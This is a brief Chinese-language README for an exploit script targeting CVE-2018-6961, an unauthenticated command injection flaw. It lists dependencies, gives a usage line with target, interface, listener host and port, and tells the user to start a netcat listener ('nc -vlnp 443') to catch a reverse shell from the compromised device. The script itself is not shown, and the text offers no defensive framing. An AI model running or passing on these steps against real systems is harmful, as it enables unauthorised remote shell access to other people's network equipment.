CVE-2018-6961 - 未授权命令注入漏洞
此漏洞利用程序基于 Python2.7 环境,未在其他版本中测试。
1) 安装依赖
pip install request
如果没有安装 pip,直接运行以下命令:
apt-get install python-pip
2) 使用方法
python exployt.py --rhost --interface --lhost --lport --function
python exploit.py --rhost 1.1.1.1 --interface ge1 --lhost 2.2.2.2 --lport 443 --function traceroute
正在利用...................
3) 别忘了在另一个终端中开启 netcat 监听
nc -vlnp 443
待办事项 -- 改进脚本,使其能在同一终端中自动运行 netcat